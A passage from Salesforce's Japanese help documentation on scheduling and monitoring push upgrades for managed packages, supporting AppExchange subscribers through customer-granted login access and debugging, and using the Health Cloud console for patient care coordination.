主取引先責任者

9. [スケジュール]をクリックします。転送アップグレードの実行中、[中止]をクリックすると処理を停止でき
ます。

Enterprise API を使用した転送アップグレードのスケジュール
1. 使用しているツールに従って、メインの開発者組織に対して認証を行います (新バージョンのアップロード

に使用したパッチ組織ではありません)。
2. MetadataPackageVersion オブジェクトをクエリして、登録者のアップグレード先のパッケージバージョンを決

定します。
3. PackageSubscriber オブジェクトをクエリして、アップグレードできる登録者組織のリストを収集します。
4. PackagePushRequest オブジェクトを作成します。PackagePushRequest オブジェクトは PackageVersionId を取り、必

要に応じて、転送の開始時期を指定する ScheduledStartTime パラメータを取ります。ScheduledStartTime を省略
した場合、PackagePushRequest の状況を Pending に設定すると転送が開始されます。
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5. 対象となる登録者ごとに PackagePushJob を作成し、前のステップで作成した PackagePushRequest に関連付けま
す。

6. PackagePushRequest の状況を Pending に変更して、転送アップグレードをスケジュールします。
7. Status 項目をクエリして、PackagePushRequest オブジェクトおよび PackagePushJob オブジェクトの状況を確

認します。状況が [Created (作成済み)] または [Pending (待機中)] の場合、PackagePushRequest の状況を [Canceled

(キャンセル)] に変更することで転送アップグレードを中止できます。[Canceled (キャンセル)]、[Succeeded (成
功)]、[Failed (失敗)]、または [In Progress (処理中)] の状況を持つ転送アップグレードは中止できません。

サンプルコードと詳細は、『Salesforce および Force.com のオブジェクトリファレンス』または『SOAP API 開発者ガ
イド』のオブジェクトの説明を参照してください。

転送アップグレード履歴の表示
転送アップグレードおよびパッチバージョンのベストプラクティス

関連トピック:

転送アップグレードの詳細の表示
配布用アプリケーションの準備
バージョンの管理
管理パッケージへのアップグレードの公開

転送アップグレード履歴の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

転送アップグレード履歴
を表示する
• 「AppExchange パッ

ケージのアップロー
ド」

メモ: パッチバージョンおよび転送アップグレードは、Salesforce ISV パート
ナーのみが使用できます。

組織で送信されたすべての転送アップグレードの詳細を表示するには、[設定] か
ら、[クイック検索]ボックスに「パッケージ」と入力し、[パッケージ]を選択し
ます。参照するパッケージの名前をクリックし、[転送アップグレード]をクリッ
クします。
[転送アップグレード履歴] ページには、待機中およびこれまでの転送アップグ
レードすべての状況がリストされます。転送アップグレード履歴を条件検索す
る手順は、次のとおりです。
1. ドロップダウンリストからバージョン番号を選択します。バージョンを選択

しなければ、すべてを選択するのと同じになります。
2. [状況] リストから 1 つ以上の状況を選択します。状況を選択しなければ、す

べてを選択するのと同じになります。
3. リストを絞り込むには、[適用] をクリックします。すべての条件を削除する

には、[クリア] をクリックします。
履歴には、次の情報が表示されます。
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説明列

転送アップグレードの実行中、[中止]をクリックする
と処理を停止できます。

アクション

転送アップグレードのスケジュール済み開始日時。開始日

転送アップグレードの状況 (スケジュール済み、進行
中、完了、中断、エラーにより終了)。

状況

転送アップグレードの送信先組織名。複数の組織があ
る場合は、この項目にはキューに入っている最初の組

対象

織名と、選択されている組織の総数が示されます。こ
のリンクをクリックすると、対象の転送アップグレー
ドおよび各組織に関する詳細が表示されます。

転送したパッケージのバージョン番号。バージョン

転送アップグレードの詳細の表示
組織のアップグレード履歴の表示

関連トピック:

転送アップグレードの詳細の表示
配布用アプリケーションの準備
バージョンの管理
管理パッケージへのアップグレードの公開

転送アップグレードの詳細の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

転送アップグレード詳細
を表示する
• 「AppExchange パッ

ケージのアップロー
ド」

メモ: パッチバージョンおよび転送アップグレードは、Salesforce ISV パート
ナーのみが使用できます。

組織で送信された特定の転送アップグレードに関する情報を確認するには、[設
定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ] を
選択します。参照するパッケージの名前をクリックし、[転送アップグレード]を
クリックします。[対象]の名前をクリックすると、[転送アップグレードの詳細]

ページに、転送ジョブと転送先となった各組織に関する情報が表示されます。
[ジョブの詳細] ページには、転送アップグレードに関する次の情報が表示されま
す。

説明項目

転送アップグレードが終了した日時。終了日

エラーがあった場合、インストールし
たアプリケーションが正しく機能しな

Apex テストエラーを無視
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説明項目

い原因となった可能性がある Apex テストのエラーを
無視したかどうかを示します。

転送アップグレードを開始したユーザの名前。実行者

転送アップグレードのスケジュール済み開始日時。開始日

転送アップグレードの状況 (スケジュール済み、進行
中、完了、中断、エラーにより終了)。

状況

転送したパッケージのバージョン番号。Version (バージョン)

[組織] セクションで、転送アップグレードを受信したすべての組織のリストを取得できます。検索ボックスを
使用して、組織の名前または ID に基づいて絞り込む語を入力し、組織を絞り込むことができます。名前は部
分文字列で一致できますが、ID は完全一致です。ドロップダウンリストから、転送アップグレードの状況に基
づいて絞り込み検索することもできます。
表には、組織に関する次の情報が表示されます。

説明項目

転送アップグレードにかかった時間。所要時間

発生した障害の種類が表示されます。転送アップグ
レードが失敗した場合、折りたたみ可能なセクション

失敗種別

に説明が表示されます。転送アップグレードに失敗し
た場合、[再試行]をクリックしてもう一度実行してく
ださい。

Salesforce でその組織を一意に識別する ID。組織 ID

組織の名前。名前をクリックすると、組織のアップグ
レード履歴が表示されます。

組織名

転送アップグレードのスケジュール済み開始日時。開始

転送アップグレードの状況 (スケジュール済み、進行
中、完了、中断、エラーにより終了)。

状況

関連トピック:

転送アップグレード履歴の表示
転送アップグレードのスケジュール
配布用アプリケーションの準備
バージョンの管理
管理パッケージへのアップグレードの公開

7066

転送アップグレードのスケジュールアプリケーションのパッケージ化および配布



組織のアップグレード履歴の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

転送アップグレード履歴
を表示する
• 「AppExchange パッ

ケージのアップロー
ド」

メモ: パッチバージョンおよび転送アップグレードは、Salesforce ISV パート
ナーのみが使用できます。

転送アップグレードを受信した特定の組織に関する詳細情報を確認するには、
[設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケージ]

を選択します。参照するパッケージの名前をクリックし、[対象] の名前をク
リックします。対象リストの組織をクリックすると、次の詳細が表示されます。

説明項目

組織がインストールした現在のパッ
ケージのバージョン。

現在のバージョン

Salesforce でその組織を一意に識別する
ID。

組織 ID

組織の名前。組織名

パッケージをインストールした取引先
責任者の名前。

主取引先責任者

パッケージ公開者のメールアドレス。主担当者 メール

転送アップグレードの状況 (スケジュー
ル済み、進行中、完了、中断、エラー
により終了)。

状況

転送アップグレード履歴には、次の情報が表示されます。

説明項目

[詳細を参照]をクリックすると、そのアップグレード
のジョブの詳細が表示されます。

アクション

転送アップグレードのスケジュール済み開始日時。開始日

転送アップグレードの状況 (スケジュール済み、進行
中、完了、中断、エラーにより終了)。

状況
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説明項目

転送したパッケージのバージョン番号。Version (バージョン)

関連トピック:

転送アップグレードの詳細の表示
転送アップグレード履歴の表示
パッチの作成およびアップロード
転送アップグレードのスケジュール
配布用アプリケーションの準備
バージョンの管理
管理パッケージへのアップグレードの公開

転送アップグレードおよびパッチバージョンのベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

ユーザ権限

アップグレードを転送す
る、またはパッチ開発組
織を作成する
• 「AppExchange パッ

ケージのアップロー
ド」

メモ: パッチバージョンおよび転送アップグレードは、Salesforce ISV パート
ナーのみが使用できます。

転送をスケジュールするときは、次のベストプラクティスを考慮してください。
• 登録者に与える影響を最小限に抑えるため、転送アップグレードは顧客のオ

フピーク時に、Salesforce のメジャーリリースの期間外にスケジュール設定し
ます。

• 入力規則、数式項目、およびApexトリガから発生するエラーを変更すると、
登録者のインテグレーションに悪影響が及ぶ可能性があるため、変更しない
でください。

• 転送アップグレードの途中で更新されたVisualforceページでは、ページまたは
コントローラが変更されるとビューステートが失われる可能性があります。

パッチバージョンを作成するときは、次の追加のベストプラクティスを考慮し
てください。
• パッチではパッケージへの視覚的な変更を行わないでください。転送アップ

グレードで登録者に通知されるのは、パッケージバージョン番号の変更のみ
です。
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FAQ - パッケージの公開
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パッケージの順位付け方法は?

公開できるアプリケーションの種別は?

関連トピック:

FAQ - パッケージのインストール

パッケージの順位付け方法は?
AppExchangeでは、多くの一般消費者向けインターネットサイトと同様に、フィー
ドバックと評価を一覧表示します。これにより、Salesforce ユーザコミュニティ
はパッケージの便利さを判断することができます。

公開できるアプリケーションの種別は?
特定のビジネス要件を扱うタブ、レポート、ダッシュボードなどのコンポーネントの集合を公開できます。こ
れらのコンポーネントをパッケージにまとめて公開できます。パッケージに追加するコンポーネントの種別に
関係なく、コンポーネントのデータは一切含まれません。

アプリケーションの登録者のサポート

AppExchange の顧客をサポートし、登録者の組織および詳細を表示します。

AppExchange 顧客のサポート
登録者組織
登録者の詳細の表示
顧客からのログインアクセスの要求
登録者組織にログインする前に、顧客からのログインアクセスを要求します。
登録者組織へのログイン
登録者組織でのトラブルシューティング
登録者の組織でユーザとしてログインすると、登録者にはないアクセス権が付与されます。「管理-リリー
ス済み」パッケージの難読化コードの表示、登録者は参照できないログの表示、および ISV カスタマーデ
バッガセッションの開始を行うことができます。

AppExchange 顧客のサポート
アプリケーションの公開者には、公開したアプリケーションすべてのエンドユーザをサポートする責任があり
ます。公開したアプリケーションに関する質問を顧客が Salesforce カスタマーサポートに問い合わせた場合、
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ユーザにはアプリケーションの [バージョン情報] タブおよび [サポート] タブのサポート情報を表示するようお
願いしています。AppExchange のリストには、必ずサポート情報を掲載してください。
ライセンス管理アプリケーション (LMA) をインストールしている場合は、顧客の組織にログインして、顧客に
管理サポートを提供できます。この機能は、セキュリティレビューに合格した管理パッケージのみで使用でき
ます。詳細は、「登録者組織へのログイン」を参照してください。

登録者組織
ユーザ権限

登録者組織にログインす
る
• 「登録者組織へのログ

イン」

このページでは、パッケージがインストールされている登録者組織のリストを
表示します。登録者組織をすばやく検索するには、検索ボックスに登録者名ま
たは組織 ID を入力して、[検索] をクリックします。登録者組織の名前をクリッ
クして詳細情報を表示します。

メモ: このリストには、LMAにリンクされている管理パッケージを 1 つ以上
インストールした登録者のみ表示されます。

登録者の詳細の表示
ユーザ権限

登録者組織にログインす
る
• 「登録者組織へのログ

イン」

LMAの [登録者]タブから組織名をクリックしてアクセスする [登録者の概要] ペー
ジには、各登録者組織の詳細情報が表示されます。この情報から、顧客のアプ
リケーションの使用方法を把握し、問題のトラブルシューティングに役立てる
ことができます。
[組織の詳細] には、次の情報が表示されます。
• 名前と取引先責任者の情報は、[設定] の登録者の組織の [組織情報] ページに

表示されます。この情報は、LMA のリード、取引先、取引先責任者のレコー
ドに表示される内容と異なる場合があります。

• 組織 ID は、この顧客の Salesforce 組織を識別する一意の ID です。
• インスタンスは、この顧客の組織が含まれるSalesforceデータセンターを特定します。また、顧客がSalesforce

の新規バージョンにアップグレードする時期も特定します。顧客が使用している Salesforce のバージョンを
確認するには、リリース期間中に「登録者の詳細の表示」を参照してください。

このページには、次の関連リストも表示されます。
制限

この顧客に関連付けられているファイル容量、データ容量、API 要求数の情報 (パーセント表示)。
許可されているログインアクセス

ログインアクセスが許可されているユーザとアクセスの有効期限日のリスト。
パッケージとライセンス

この組織にインストールされていて、この LMA に関連付けられているすべてのパッケージのリスト。各パッ
ケージについて、顧客が現在使用しているアプリケーションのバージョン、登録者に提供済みのライセン
スの合計数と使用した数が表示されます。この情報は、LMA 内の登録者のライセンスレコードと一致しま
す。
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顧客からのログインアクセスの要求
登録者組織にログインする前に、顧客からのログインアクセスを要求します。
ログインアクセスを要求するには、[個人設定] に移動して [アカウントログインアクセスの許可] または [ログ
インアクセスの許可] をクリックするようにユーザに依頼します。公開者がリストされていない場合、次のい
ずれかが原因です。
• システム管理者がシステム管理者以外がアクセス権を付与する機能を無効にした。
• ユーザがパッケージのライセンスを所有していない。
• パッケージが組織全体にライセンスされている。「ユーザの管理」権限を持つシステム管理者のみがアク

セス権を付与できます。
• 組織設定 [管理者は任意のユーザでログインできます] が有効化されている。

メモ: 組織設定 [管理者は任意のユーザでログインできます]が有効化されていない限り、アクセス権は限
定された期間付与できます。また、登録者は、いつでもアクセス権を取り消すことができます。登録者
としてログインしている間に行った変更は、監査履歴に記録されます。

登録者組織へのログイン
ユーザ権限

登録者組織にログインす
る
• 「登録者組織へのログ

イン」

使用可能なエディション: Enterprise Edition、Performance Edition、Unlimited Edition、
および Developer Edition

メモ: この機能は、Salesforce フルライセンスのある組織でのみ使用できま
す。

ユーザがアクセスを許可した後にログインする手順は、次のとおりです。
1. ライセンス管理アプリケーション (LMA) で、[Subscribers (登録者)] タブをクリックします。
2. 登録者組織をすばやく検索するには、検索ボックスに登録者名または組織 ID を入力して、[Search (検索)]を

クリックします。
3. 登録者組織の名前をクリックします。
4. [Organization Details (組織の詳細)] ページで、ユーザ名の横にある [Login (ログイン)] をクリックします。代理

ログインしたユーザと同じ権限が付与されます。
5. トラブルシューティングが終了したら、[Setup (設定)] から [Return to Subscriber Overview (登録者の概要に戻

る)] をクリックして自分の組織に戻ります。

メモ: このリストには、LMA にリンクされている管理パッケージを 1 つ以上インストールした登録者のみ
表示されます。

ベストプラクティス
• 登録者組織にアクセスすると、LMO (ライセンス管理組織) からログアウトされます。「私のドメイン」を設

定した場合は、登録者組織にログインした時に LMO から自動的にログアウトされることがありません。私
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のドメインを設定するには、[Setup (設定)] から [Quick Find (クイック検索)] ボックスに「My Domain」
と入力し、[My Domain (私のドメイン)] を選択します。

• 登録者の組織へのログインは、信頼できるサポート担当者およびエンジニアリング担当者にのみ許可する
ように注意してください。この機能には顧客のデータおよび設定への完全な「参照・更新」権限が含まれ
ることがあるため、信頼を確保するためにセキュリティを保持することが不可欠です。

• アクセス権を付与する担当者を制御するには、プロファイルまたは権限セットを使用して、特定のサポー
ト担当者に「登録者組織へのログイン」ユーザ権限を付与します。

登録者組織でのトラブルシューティング
登録者の組織でユーザとしてログインすると、登録者にはないアクセス権が付与されます。「管理-リリース
済み」パッケージの難読化コードの表示、登録者は参照できないログの表示、および ISV カスタマーデバッガ
セッションの開始を行うことができます。

デバッグログによるトラブルシューティング
登録者の組織でコードをデバッグする最も簡単な方法は、管理パッケージからの出力が含まれる Apex デバッ
グログを生成することです。これらのログには、通常は登録者に公開されないログの行が含まれます。このロ
グ情報を使用して、その登録者に固有の問題をトラブルシューティングできます。
1. ユーザにアクセス権がある場合、デバッグログを設定します。[設定] から、[クイック検索]ボックスに「デ

バッグログ」と入力し、[デバッグログ] を選択します。
2. 開発者コンソールを開始します。
3. 処理を実行して、出力が含まれるデバッグログを参照します。
あなたが設定または生成するログには難読化されていない Apex コードが含まれるため、登録者は参照できま
せん。
また、ユーザとしてログインした場合、管理パッケージから保護されたカスタム設定に含まれるデータを参
照、編集することができます。

ISV カスタマーデバッガによるトラブルシューティング
各ライセンス管理組織で一度に 1 つの無料の ISV カスタマーデバッガセッションを使用できます。ISV カスタ
マーデバッガは、Apex デバッガ (Eclipse の Force.com IDE プラグインに含まれる機能で通常は有料) の一部です。
Apex デバッガは Sandbox 組織でのみ使用できるため、デバッグセッションは顧客の Sandbox からのみ開始でき
ます。
ISV カスタマーデバッガについての詳細は、Force.com IDE Developer Guide: Get Started with the Apex Debuggerを参照して
ください。

関連トピック:

開発者コンソールを開く
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Health Cloud を使用した患者ケアでのコラボレーショ
ンと連携

エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

優れた患者ケアを提供することは、単に患者の情報とヘルスケアに関する行動
を管理することではありません。Health Cloud は、ケアコーディネータと患者と
の関わりを変革します。Health Cloudコンソールでは、患者のカルテの統合ビュー、
患者のケアチームへのアクセス、およびツールをすべて利用してヘルスケアの
成果を高めることができます。患者やケア担当者と強固で協力的な関係を築き、
健康回復への患者の取り組みを支援できます。
優れたケアには、電子健康カルテ (EHR) システムから取り込まれたデータを総合
的に把握し、情報を活用した効率のよい判断を促すことが必要です。Health Cloud

には、患者の管理を大幅に効率化するツールがすべて揃っています。Health Cloud

コンソールには次の機能があります。
• EHR から取り込まれた患者のバイタルデータの包括的なスナップショット
• すべての患者に関連する優先度付けされた ToDo の作業ビュー
• ケアタイムライン。診察、処方箋、疾患、その他の処置など、患者の医療履歴を確認できます。
• 患者に割り当て可能な ToDo を含む測定可能な目標を設定してカスタマイズができるケアプラン
Salesforce Communitiesを設定すると、非公開の患者コミュニティも設定されます。コミュニティではコラボレー
ションネットワーク内の専門職および個人のケア担当者が互いに連携し、ケアプランの順守が促進されます。
健康状態に関する ToDo の所有権を、他の医療専門職、患者、家族など、ケアチームのメンバーに割り当てる
ことができます。患者やコミュニティのメンバーは安全で非公開のメッセージを交換できます。また、これら
のメッセージにはどのデバイスからでもアクセスできます。

1 か所で必要なツール
多忙なヘルスケア従事者は、患者やそのケアに関連する ToDo を 1 か所で管理する場所が必要です。Health

Cloudコンソールには必要なものがすべて集約されており、患者、ケアチーム、そしてその患者の健康の回
復維持に関連する活動の全体像が把握できます。さらに、かかりつけ医へのメッセージや、患者を病院ま
で連れて来る家族へのリマインダーなど、患者のケアに関与する個人間のコミュニケーションを一元管理
します。
Health Cloud コンソールの使用準備
Health Cloud コンソールを使用して患者の管理を始めるには、いくつかの設定作業を行う必要があります。
ケアプランを使用した患者の目標達成の支援
健康上の問題の管理を容易にするために、患者やケア担当者に目標と ToDo を割り当て、患者がプランに
沿って健康を改善できるようにします。カスタマイズ可能なケアプランは、いわば患者の健康状態を改善
するためのアクションプランのようなものです。
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ケアプランテンプレートで患者の受け入れを簡略化
ケアプランテンプレートを使用すれば、クリックを数回するだけでカスタマイズされた患者ケアプランを
作成できます。ケアコーディネータのワークフローから「ワーク (作業)」をなくしましょう。コーディネー
タは問題、目標、および ToDo を一括して患者のケアプランに追加できます。定義済みケアプランテンプ
レートを使用することでケアプランを作成する時間を短縮でき、ケアの標準を適用してヘルスケアの成果
を高めることができます。
患者の医療行動のタイムラインの監視
患者のタイムラインには、患者の医療に関する行動と活動のスナップショットが時系列で表示されます。
非公開の患者コミュニティによる患者への関与
ケアチームは患者の非公開コミュニティのハブであり、患者のケアプランの成功に向けて取り組む全員を
代表します。組織内および組織外のヘルスケア従事者、および患者の家族が含まれます。
Health Cloud 向け Wave を使用した患者のリスク管理
Health Cloud: Risk Stratification 向け Wave アプリケーションには事前作成済み Wave ダッシュボードがあり、リス
クが高い患者を識別して、その患者を Health Cloud のケア管理プログラムに登録できます。設定可能な患者
データのダッシュボードとカスタムグラフを使用して、会社が管理する患者の新しいインサイトを取得で
きます。
プロトコルと記事を使用した学習の促進
Salesforce ナレッジでは、コンテンツを簡単に作成および管理して、他のヘルスケア従事者、あるいは患者
やケアチームのメンバーが使用できるようにします。記事には、疾患の管理に使用するプロトコルを含め
たり、患者に送信する教育資料を掲載したりできます。[記事の管理] タブでは記事の記述、編集、公開、
アーカイブを行い、[記事] タブでは公開記事を検索および表示します。
Health Cloud コンソールのキーボードショートカット
キーボードショートカットにより、マウスを使用する代わりにキーを押してアクションをすばやく実行で
きます。
Health Cloud の制限事項
Health Cloud の表示、アクセス、およびカスタマイズの制限について説明します。

1 か所で必要なツール

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

多忙なヘルスケア従事者は、患者やそのケアに関連する ToDo を 1 か所で管理す
る場所が必要です。Health Cloud コンソールには必要なものがすべて集約されて
おり、患者、ケアチーム、そしてその患者の健康の回復維持に関連する活動の
全体像が把握できます。さらに、かかりつけ医へのメッセージや、患者を病院
まで連れて来る家族へのリマインダーなど、患者のケアに関与する個人間のコ
ミュニケーションを一元管理します。

Health Cloud Console の概要
担当患者の全体の動きを把握することができ、注意が必要な ToDo、初診患
者、患者に関するすべてのコミュニケーションなどを確認できます。Console

では個々の患者や関連するケアプラン、既往歴、ケアチームに関する操作を
個別のタブ内で行えます。そのため、複数の患者に関する操作を同時に行うことができます。
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[Today] ページの表示内容の確認
その日に最適化する必要がある事項を一目で確認できる、[Today] ページで 1 日を始めましょう。
Chatter を使用した最新情報の確認
Salesforce Chatter によって提供される [最新情報] フィードには、患者とチームメンバーの最新の状況が表示さ
れます。Chatter とは、他のユーザとつながり、情報を安全かつリアルタイムに共有できる、Salesforce のコ
ラボレーションアプリケーションです。Chatter フィードには、あなたと他のユーザが行った投稿およびコ
メントと、Salesforce 組織全体のレコード更新が表示されます。
カスタムリストを使用した患者のケアの管理
カスタマイズした患者リストを使用することにより、共通するプロトコル、診断、治療計画などの条件に
基づいて、マスタ患者リストを小さなリストに分割して整理できます。たとえば、最近退院した外科患者
のマスタリストを手術の種類に基づくグループに分割できます。または、経過観察予約のリマインダー、
アンケート、教育資料を個々の患者ではなく複数の患者に同時に送信できます。
患者カードを使用した患者の包括的ビュー
患者を効果的に管理するには、患者の情報がすぐに手に入るようにする必要があります。患者カードでは、
患者の医療カルテから、疾患、投薬、連絡先情報など最も重要な情報が抽出され、すべてが 1 か所に表示
されます。必要な情報を、検索したり他のページをクリックしたりせずに簡単に確認できます。
教育的な記事およびプロトコルの検索
ナレッジウィジェットを使用して、患者に適した情報を取得します。コンソールから直接プロトコル、教
育的な記事および動画、Web サイトへのリンクを検索できるため、作業しているページから移動する必要
がありません。

Health Cloud Console の概要
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

担当患者の全体の動きを把握することができ、注意が必要な ToDo、初診患者、
患者に関するすべてのコミュニケーションなどを確認できます。Console では個々
の患者や関連するケアプラン、既往歴、ケアチームに関する操作を個別のタブ
内で行えます。そのため、複数の患者に関する操作を同時に行うことができま
す。
主タブには、患者カードに基づいた医療情報が表示されます。サブタブには、
患者のケアプラン、タイムライン、医療機器情報、処方箋など、患者に関する
情報が表示されます。患者ごとに複数のサブタブを開くことができます。
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Console アプリケーションの選択
2 つのHealth Cloudアプリケーションを必要な作業に応じて使い分けることができます。ページ上部にあるアプ
リケーションメニューで、オプションのいずれかを選択し、いつでもアプリケーションを切り替えられます。

Health Cloud - Worklist

Health Cloud - Worklist アプリケーションでは、固定表示された患者リストから作業できます。リストがページの
左側に固定され、常時表示されます。リストから患者を選択すると、患者カードとサブタブがリストの右側に
表示されます。固定表示リストのサイズを変更するには、リストペインの右の余白をクリックし、目的のサイ
ズになるまでドラッグします。固定表示リストを最小化するには、右の余白にある矢印をクリックします。リ
ストを編集または管理するオプションを含む完全な患者リストを表示するには、ページ全体が表示されるまで
矢印を右にドラッグします。
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Health Cloud - Console

Health Cloud - Console アプリケーションでは患者が最初に表示され、個々の患者のプロファイル、主タブ、サブ
タブにドリルダウンできます。リストの患者名をクリックするだけで、患者の情報とサブタブが全画面ビュー
に表示されます。ページ左上のメニューリストにある [患者] を選択すると、患者リストに戻ることができま
す。

患者リストのカスタマイズ
疾患や条件が似ている患者をグループに分割し、同時に操作することができます。
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• 類似する患者をグループ化するリストを作成します (1)。たとえば、高血圧で同じプロトコルに従っている
6 人の患者がいるとします。

• 操作を行う患者を 1 人以上選択します (2)。
• 6 人の患者全員に対し、決められた運動を毎週行うことを ToDo(3) として割り当てることを、一度に行うこ

とができます。あるいは、診察の予約を促すリマインダーを一度に送信できます。

患者カード
患者カードには、患者の疾患、処方箋、予約、および連絡先情報について必要な情報がすべて表示されます。
[新規タブを開く] 選択リストを使用してサブタブを開き、その患者のケアプラン、治療タイムライン、ケア
チームを表示することもできます。

ケアプラン
カスタマイズされたケアプランでは、慢性疾患の管理、予防治療の提供、健康プロトコルの適用を行うことが
できます。患者が、自分の臨床転帰に積極的に関与できるようになります。
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治療タイムライン
治療の計画や経過観察をより効率的に行うことができます。治療タイムラインでは、受診歴、処方箋、患者が
行ったまたは行う必要がある ToDo などを俯瞰的に表示できます。
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患者ケアチーム
メモ: Salesforce CommunitiesはHealth Cloudのコラボレーションサポートを提供しています。コラボレーショ
ン機能の一部は、Salesforce Communities を有効にして非公開の患者コミュニティを作成しなければ使用で
きません。

患者の経過を把握するためのコミュニティに参加することで、患者のためのチームサポートを実現します。コ
ミュニティを通じて、患者は自分のケアプランおよび実行する必要がある ToDo にアクセスできます。ケア担
当者は、担当する ToDo を実行できます。あらゆるデバイスから情報にアクセスできるため、コミュニティの
メンバーは積極的に関与し、実行することが可能になります。コミュニティによって、患者や外部ケアチーム
とパートナーシップを形成できます。各患者のケアチームに、内部および外部の参加者を追加したり、すべて
の人員やリソースを管理することができます。

• ケアチームビュー(7)は、患者のケア担当者の専門的ネットワークおよび個人的ネットワークのリレーショ
ンを表します。

• コミュニティメンバーの写真(8)を選択すると、非公開メッセージを送信したり、ToDo を作成したりできま
す。

• Chatter (9) を使用してケアチームメンバーとコラボレーションを行います。患者のプロファイルを表示した
まま、患者やケア担当者に非公開メッセージを送信したり、チームの内部メンバーとコラボレーションし
たりできます。
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[Today] ページの表示内容の確認
エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

その日に最適化する必要がある事項を一目で確認できる、[Today] ページで 1 日
を始めましょう。
[Today] ページにアクセスするには、Health Cloud - Console アプリケーションのタブ
スイッチャから選択します。追跡するすべての ToDo を参照し、自分の患者と会
社に関連する最新の会話を確認します。

• 管理する患者数、そのうち今週初診の患者数についての概要(1)をすばやく確認できます。自分がケアコー
ディネータである場合、またはケアプランとケースの状況が完了になるまで、患者数は自己責任でカウン
トします。

• 便利な進行状況バー (2) には、自分に割り当てられた ToDo、または監視および管理する ToDo の完了に向け
た進行状況が表示されます。

• 特定の患者に関連する ToDo (3) を参照し、作業に優先度を付けて注意が必要な患者を把握します。各タイ
ルには、患者の名前とそのケアプランに関連付けられた ToDo の数が表示されます。タイルをクリックする
と患者の概要が表示され、ToDo を確認して更新できます。

• Salesforce Chatter によって提供される [最新情報] フィード (4) には、患者とチームメンバーの最新の状況が表
示されます。この安全で一元管理された場所で、仕事にとって重要なすべての会話を確認したり、会話に
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参加したりできます。あなたと患者間のメッセージ、組織内のケア提供者との会話、および行動やお知ら
せが表示されます。

メモ:  [Today] ページは Health Cloud の他のページと同様に反応型で、使用しているデバイスのサイズに
適応します。小さいデバイスでは、[最新情報] フィードがページの右側ではなく下部に移動されます。
下へスクロールすればフィードを参照して使用できます。

Chatter を使用した最新情報の確認
エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Chatter によって提供される [最新情報] フィードには、患者とチームメン
バーの最新の状況が表示されます。Chatter とは、他のユーザとつながり、情報
を安全かつリアルタイムに共有できる、Salesforce のコラボレーションアプリケー
ションです。Chatter フィードには、あなたと他のユーザが行った投稿およびコ
メントと、Salesforce 組織全体のレコード更新が表示されます。
Chatter を使用して、患者のケアについて社内ケアチームと話し合います。優れ
たコミュニケーションにより、ケアの連携と患者の引き継ぎを簡単かつ効率的
にできるようになります。組織内の医師や他の医療従事者は、社外ケアチーム
が含まれない非公開グループで患者のケアについて議論し、管理できます。
他のユーザや会話の重要な最新情報を確認する方法はいくつかあります。ユー
ザまたはグループをフォローし、投稿やコメントにいいね! と言うことができま
す。
• 投稿を追跡するには、投稿またはコメントの下の [いいね!]をクリックします。投稿にいいね! と言うと、

他のユーザがその投稿にコメントした場合にメール通知を受け取ります。コメントで [いいね!] をクリック
すると、コメントを投稿したユーザにのみメール通知が送られますが、それ以降にコメントがあった場合
は、あなたがメール通知を受け取ります。

• 自分にとって重要なユーザをすべてフォローし、同僚の最新の状況を簡単に確認できるようにする。ユー
ザのプロファイルページを特定し、[フォロー] をクリックします。特定の人をフォローすると、自分の
フィードにそのユーザの更新が表示されます。複数の人やレコードをフォローすると、Chatter フィードに
その更新が表示されます。

通常、次のフィード更新が表示されます。
• あなたと患者およびケアチームコミュニティメンバー間のコメントと投稿

これらの投稿は、社内の同僚には表示されません。患者またはケアチームコミュニティメンバーは、写真
の左上隅のオレンジ色で識別できます。

• 組織内の医師および他のケア提供者との会話
• 行動とお知らせ
• 自分がメンバーになっている Chatter グループに対する投稿、コメント、ファイル
• 共有ファイルおよびリスト
• ToDo および他の行動
• レコード所有者の変更、作成されたケアプランの変更などのレコード項目の変更

メモ: ケアチームから送信された非公開メッセージが、フィード、プロファイル、グローバル検索結果、
またはその他の Chatter の公開部分に表示されることはありません。
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レコードの更新は、システム生成された投稿ともいいます。これらは、誰かが新しいレコードを作成するか、
レコードで追跡されている項目を変更したときに Salesforce が生成する更新です。表示されるレコードの更新
は、システム管理者がどのようにフィード追跡を設定したか、およびレコードへのアクセス権があるかどうか
によって異なります。追跡されているフィードの更新のうち、経過日数が 45 日を超え、いいね! またはコメン
トがない更新は削除されるため、表示されません。
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カスタムリストを使用した患者のケアの管理
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

カスタマイズした患者リストを使用することにより、共通するプロトコル、診
断、治療計画などの条件に基づいて、マスタ患者リストを小さなリストに分割
して整理できます。たとえば、最近退院した外科患者のマスタリストを手術の
種類に基づくグループに分割できます。または、経過観察予約のリマインダー、
アンケート、教育資料を個々の患者ではなく複数の患者に同時に送信できます。
Health Cloud システム管理者は、患者リストへのアクセスを制御します。
患者の絞り込みリストを表示するには、[リストを選択]ドロップダウンリストか
ら事前定義済みのリストを選択するか、[新規リストを作成]をクリックして、自
分専用のカスタムリストを定義します。作成したリストを編集または削除する
には、 ドロップダウンリストから選択し、[現在のリストを編集] をクリッ
クします。
• 患者の名前をクリックすると、コンソールに患者の詳細が表示されます。
• 列のヘッダーをクリックすると、昇順または降順に並び替えることができます。
